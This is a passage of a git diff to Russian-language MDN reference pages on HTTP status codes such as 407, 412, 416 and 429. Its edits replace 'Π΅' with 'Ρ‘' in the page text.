+<p>На практикС эта ошибка ΠΎΡ‡Π΅Π½ΡŒ Ρ€Π΅Π΄ΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ. ВмСсто ΠΎΡ‚Π²Π΅Ρ‚Π° с использованиСм этого ΠΊΠΎΠ΄Π° ошибки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Π°Π΄ΠΎΡ‡Π½Ρ‹ΠΌ для ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ΠΌ для исправлСния, сСрвСры ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ страницу для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Π΄Π°ΠΆΠ΅ Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€Ρ‘Π½, ΠΎΠ½ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Ρ‘Ρ‚ это ΠΊΠΎΠ΄Ρƒ ошибки.</p>
<p>Если сСрвСр Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ΄ ошибки, Ρ‚Π΅Π»ΠΎ сообщСния Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ список доступных прСдставлСний рСсурсов, позволяя Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ.</p>
diff --git a/files/ru/web/http/status/407/index.html b/files/ru/web/http/status/407/index.html
index 4f66630555..ddbd433687 100644
--- a/files/ru/web/http/status/407/index.html
+++ b/files/ru/web/http/status/407/index.html
@@ -6,7 +6,7 @@ translation_of: Web/HTTP/Status/407
<div>
<p>{{HTTPSidebar}}</p>
-<p>HTTP <strong><code>407 Proxy Authentication Required </code></strong>ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° ΠΎΡˆΠΈΠ±ΠΊΡƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос Π½Π΅ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ достовСрных ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для {{Glossary("proxy server")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ находится ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΈ сСрвСром, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠΌΡƒ рСсурсу..</p>
+<p>HTTP <strong><code>407 Proxy Authentication Required </code></strong>ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° ΠΎΡˆΠΈΠ±ΠΊΡƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ запрос Π½Π΅ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ достовСрных ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… для {{Glossary("proxy server")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ находится ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΈ сСрвСром, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠΌΡƒ рСсурсу..</p>
<p>Π­Ρ‚ΠΎΡ‚ статус отправляСтся с {{HTTPHeader("Proxy-Authenticate")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΡŽ.</p>
</div>
diff --git a/files/ru/web/http/status/408/index.html b/files/ru/web/http/status/408/index.html
index 9f0f0de305..d7950cd91c 100644
--- a/files/ru/web/http/status/408/index.html
+++ b/files/ru/web/http/status/408/index.html
@@ -9,7 +9,7 @@ translation_of: Web/HTTP/Status/408
<p>Π‘Π΅Ρ€Π²Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ {{HTTPHeader("Connection")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ Β«closeΒ» Π² ΠΎΡ‚Π²Π΅Ρ‚, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <strong>408</strong> ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр Ρ€Π΅ΡˆΠΈΠ» Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ соСдинСниС, Π° Π½Π΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ ΠΆΠ΄Π°Ρ‚ΡŒ.</p>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΎΡ‚Π²Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π³ΠΎΡ€Π°Π·Π΄ΠΎ большС, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Chrome, Firefox 27+ ΠΈΠ»ΠΈ IE9, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ HTTP для ускорСния сСрфинга. Π’Π°ΠΊΠΆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСрвСры просто Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ соСдинСниС Π±Π΅Π· ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ этого сообщСния.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΎΡ‚Π²Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π³ΠΎΡ€Π°Π·Π΄ΠΎ большС, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Chrome, Firefox 27+ ΠΈΠ»ΠΈ IE9, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ HTTP для ускорСния сёрфинга. Π’Π°ΠΊΠΆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ сСрвСры просто Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ соСдинСниС Π±Π΅Π· ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ этого сообщСния.</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/411/index.html b/files/ru/web/http/status/411/index.html
index 9c7899a650..f3986bf132 100644
--- a/files/ru/web/http/status/411/index.html
+++ b/files/ru/web/http/status/411/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/411
---
<div>{{HTTPSidebar}}</div>
-<p>Код ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° ΠΎΡˆΠΈΠ±ΠΊΡƒ <code><strong>411</strong></code><strong><code>Β Length Required</code></strong> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр отказываСтся ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ запрос Π±Π΅Π· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Β {{HTTPHeader("Content-Length")}}.Β </p>
+<p>Код ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° ΠΎΡˆΠΈΠ±ΠΊΡƒ <code><strong>411</strong></code><strong><code>Β Length Required</code></strong> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр отказываСтся ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ запрос Π±Π΅Π· ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Β {{HTTPHeader("Content-Length")}}.Β </p>
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΏΠΎ спСцификации ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… Π² ряд Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ²<strong> Content-Length</strong> ΠΎΠΏΡƒΡ‰Π΅Π½, ΠΈ Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΄Π»ΠΈΠ½Ρƒ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π° Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ смотритС {{HTTPHeader("Transfer-Encoding")}}.</p>
diff --git a/files/ru/web/http/status/412/index.html b/files/ru/web/http/status/412/index.html
index a3b7883952..8aa82d8d03 100644
--- a/files/ru/web/http/status/412/index.html
+++ b/files/ru/web/http/status/412/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/412
---
<div>{{HTTPSidebar}}</div>
-<p>The HTTP <code><strong>412</strong></code><strong><code> Precondition Failed</code></strong> клиСнтский ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° ΠΎΡˆΠΈΠ±ΠΊΡƒ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ доступ ΠΊ Ρ†Π΅Π»Π΅Π²ΠΎΠΌΡƒ рСсурсу Π±Ρ‹Π» ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½. Π­Ρ‚ΠΎ происходит с условными запросами Π½Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΡ‚ Β {{HTTPMethod("GET")}} ΠΈΠ»ΠΈ {{HTTPMethod("HEAD")}}, ΠΊΠΎΠ³Π΄Π° условиС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ {{HTTPHeader("If-Unmodified-Since")}}Β ΠΈΠ»ΠΈ {HTTPHeader("If-None-Match")}} Π½Π΅ выполняСтся. Π’ этом случаС запрос, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ рСсурса, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½, ΠΈ этот ΠΎΡ‚Π²Π΅Ρ‚ ΠΎΠ± ошибкС отправляСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.</p>
+<p>The HTTP <code><strong>412</strong></code><strong><code> Precondition Failed</code></strong> клиСнтский ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° ΠΎΡˆΠΈΠ±ΠΊΡƒ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ доступ ΠΊ Ρ†Π΅Π»Π΅Π²ΠΎΠΌΡƒ рСсурсу Π±Ρ‹Π» ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½. Π­Ρ‚ΠΎ происходит с условными запросами Π½Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΡ‚ Β {{HTTPMethod("GET")}} ΠΈΠ»ΠΈ {{HTTPMethod("HEAD")}}, ΠΊΠΎΠ³Π΄Π° условиС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ {{HTTPHeader("If-Unmodified-Since")}}Β ΠΈΠ»ΠΈ {HTTPHeader("If-None-Match")}} Π½Π΅ выполняСтся. Π’ этом случаС запрос, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ рСсурса, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½, ΠΈ этот ΠΎΡ‚Π²Π΅Ρ‚ ΠΎΠ± ошибкС отправляСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/413/index.html b/files/ru/web/http/status/413/index.html
index e0383192a9..a74302c9cd 100644
--- a/files/ru/web/http/status/413/index.html
+++ b/files/ru/web/http/status/413/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/413
---
<div>{{HTTPSidebar}}</div>
-<p>Код HTTP <code><strong>413 Payload Too Large</strong></code> , ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ запроса большС, Ρ‡Π΅ΠΌ ограничСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ сСрвСром; сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ соСдинСниС ΠΈΠ»ΠΈ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΏΠΎΠ»Π΅ {{HTTPHeader("Retry-After")}}.</p>
+<p>Код HTTP <code><strong>413 Payload Too Large</strong></code> , ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ запроса большС, Ρ‡Π΅ΠΌ ограничСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ сСрвСром; сСрвСр ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ соСдинСниС ΠΈΠ»ΠΈ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΏΠΎΠ»Π΅ {{HTTPHeader("Retry-After")}}.</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/416/index.html b/files/ru/web/http/status/416/index.html
index d7035dfb3f..ae3c93df73 100644
--- a/files/ru/web/http/status/416/index.html
+++ b/files/ru/web/http/status/416/index.html
@@ -11,7 +11,7 @@ translation_of: Web/HTTP/Status/416
<p>Код ошибки HTTP <strong>416 Range Not Satisfiable</strong> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Ρ‚ΡŒ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹Π΅ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Ρ‹. НаиболСС вСроятная ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π½Π΅ содСрТит Ρ‚Π°ΠΊΠΈΡ… Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΎΠ² ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{HTTPHeader ("Range")}}, хотя ΠΈ синтаксичСски ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ, Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ смысла.</p>
-<p>Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ ΠΎΡ‚Π²Π΅Ρ‚Π° 416 содСрТит {{HTTPHeader("Content-Range")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° Π½Π΅ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€Π΅Π½Π½Ρ‹ΠΉ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ (это <code>'*'</code>), Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ <code>'/'</code> ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ рСсурс. НапримСр: <code>Content-Range: */12777</code></p>
+<p>Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅ ΠΎΡ‚Π²Π΅Ρ‚Π° 416 содСрТит {{HTTPHeader("Content-Range")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° Π½Π΅ΡƒΠ΄ΠΎΠ²Π»Π΅Ρ‚Π²ΠΎΡ€Ρ‘Π½Π½Ρ‹ΠΉ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ (это <code>'*'</code>), Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ <code>'/'</code> ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ рСсурс. НапримСр: <code>Content-Range: */12777</code></p>
<p>Π‘Ρ‚ΠΎΠ»ΠΊΠ½ΡƒΠ²ΡˆΠΈΡΡŒ с этой ошибкой, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π»ΠΈΠ±ΠΎ ΠΏΡ€Π΅Ρ€Ρ‹Π²Π°ΡŽΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ Π½Π΅ возобновляСмой), Π»ΠΈΠ±ΠΎ снова Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΡŽΡ‚ΡΡ вСдь Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.</p>
diff --git a/files/ru/web/http/status/425/index.html b/files/ru/web/http/status/425/index.html
index 179d9cb1e2..10f524c77e 100644
--- a/files/ru/web/http/status/425/index.html
+++ b/files/ru/web/http/status/425/index.html
@@ -10,7 +10,7 @@ translation_of: Web/HTTP/Status/425
---
<div>{{SeeCompatTable}}{{HTTPSidebar}}</div>
-<p>Код ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ гипСртСкста (HTTP) <code><strong>425 Too Early</strong></code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр Π½Π΅ Ρ…ΠΎΡ‡Π΅Ρ‚ Ρ€ΠΈΡΠΊΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ запрос, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ воспроизвСдСнным, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ для Π°Ρ‚Π°ΠΊΠΈΒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ воспроизвСдСния.</p>
+<p>Код ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ гипСртСкста (HTTP) <code><strong>425 Too Early</strong></code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр Π½Π΅ Ρ…ΠΎΡ‡Π΅Ρ‚ Ρ€ΠΈΡΠΊΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ запрос, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ воспроизвСдённым, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ для Π°Ρ‚Π°ΠΊΠΈΒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠ³ΠΎ воспроизвСдСния.</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/429/index.html b/files/ru/web/http/status/429/index.html
index bfec2e5cc5..ce6c8a0110 100644
--- a/files/ru/web/http/status/429/index.html
+++ b/files/ru/web/http/status/429/index.html
@@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/429
<p>HTTP <code><strong>429 Too Many Requests</strong></code>Β ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΠ» слишком ΠΌΠ½ΠΎΠ³ΠΎ запросов Π·Π° послСднСС врСмСня ("ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ скорости"Β ΠΈΠ»ΠΈ "rate limiting"Β ).</p>
-<p>Π’ этот ΠΎΡ‚Π²Π΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Β {{HTTPHeader("Retry-After")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΠΊΠ°ΠΊ Π΄ΠΎΠ»Π³ΠΎ ΠΆΠ΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ³ΠΎ запроса.</p>
+<p>Π’ этот ΠΎΡ‚Π²Π΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Β {{HTTPHeader("Retry-After")}}, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΠΊΠ°ΠΊ Π΄ΠΎΠ»Π³ΠΎ ΠΆΠ΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ³ΠΎ запроса.</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/431/index.html b/files/ru/web/http/status/431/index.html
index 691fb74671..02f4032c02 100644
--- a/files/ru/web/http/status/431/index.html
+++ b/files/ru/web/http/status/431/index.html
@@ -9,7 +9,7 @@ translation_of: Web/HTTP/Status/431
